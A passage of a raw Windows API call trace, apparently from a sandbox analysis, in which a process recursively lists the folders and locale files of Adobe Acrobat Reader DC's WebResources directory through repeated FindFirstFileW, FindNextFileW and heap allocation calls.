ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0256.647] GetProcessHeap () returned 0xc10000 [0256.647] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\images\\themes\\dark\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0d074e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0256.667] GetProcessHeap () returned 0xc10000 [0256.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.667] GetProcessHeap () returned 0xc10000 [0256.667] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0256.668] GetProcessHeap () returned 0xc10000 [0256.668] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0256.670] GetProcessHeap () returned 0xc10000 [0256.670] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0256.671] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0256.686] GetProcessHeap () returned 0xc10000 [0256.687] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0256.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0256.714] GetProcessHeap () returned 0xc10000 [0256.714] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0256.718] GetProcessHeap () returned 0xc10000 [0256.718] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.718] GetProcessHeap () returned 0xc10000 [0256.718] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.720] GetProcessHeap () returned 0xc10000 [0256.720] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.720] GetProcessHeap () returned 0xc10000 [0256.721] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0256.721] GetProcessHeap () returned 0xc10000 [0256.722] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.722] GetProcessHeap () returned 0xc10000 [0256.722] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.723] GetProcessHeap () returned 0xc10000 [0256.723] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.723] GetProcessHeap () returned 0xc10000 [0256.723] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.725] GetProcessHeap () returned 0xc10000 [0256.725] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.725] GetProcessHeap () returned 0xc10000 [0256.725] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.727] GetProcessHeap () returned 0xc10000 [0256.727] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.727] GetProcessHeap () returned 0xc10000 [0256.727] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.729] GetProcessHeap () returned 0xc10000 [0256.729] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.729] GetProcessHeap () returned 0xc10000 [0256.729] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.730] GetProcessHeap () returned 0xc10000 [0256.730] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.730] GetProcessHeap () returned 0xc10000 [0256.730] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0256.731] GetProcessHeap () returned 0xc10000 [0256.731] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.731] GetProcessHeap () returned 0xc10000 [0256.732] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.732] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ea8 [0256.740] GetProcessHeap () returned 0xc10000 [0256.741] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.741] GetProcessHeap () returned 0xc10000 [0256.741] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.741] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0256.742] GetProcessHeap () returned 0xc10000 [0256.742] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.778] GetProcessHeap () returned 0xc10000 [0256.779] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0256.792] GetProcessHeap () returned 0xc10000 [0256.792] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.792] GetProcessHeap () returned 0xc10000 [0257.028] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0257.031] GetProcessHeap () returned 0xc10000 [0257.031] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.031] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0257.032] GetProcessHeap () returned 0xc10000 [0257.032] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.032] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\he-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0257.032] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.032] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0257.033] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0257.034] GetProcessHeap () returned 0xc10000 [0257.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.034] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0257.034] GetProcessHeap () returned 0xc10000 [0257.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.036] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.036] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.036] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.036] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.036] GetProcessHeap () returned 0xc10000 [0257.036] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.036] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0257.037] GetProcessHeap () returned 0xc10000 [0257.037] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0257.037] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-files\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0257.038] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.038] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.038] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.038] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0257.039] GetProcessHeap () returned 0xc10000 [0257.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0257.039] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0257.039] GetProcessHeap () returned 0xc10000 [0257.039] RtlAllocateHeap (HeapHandle=0xc10000, 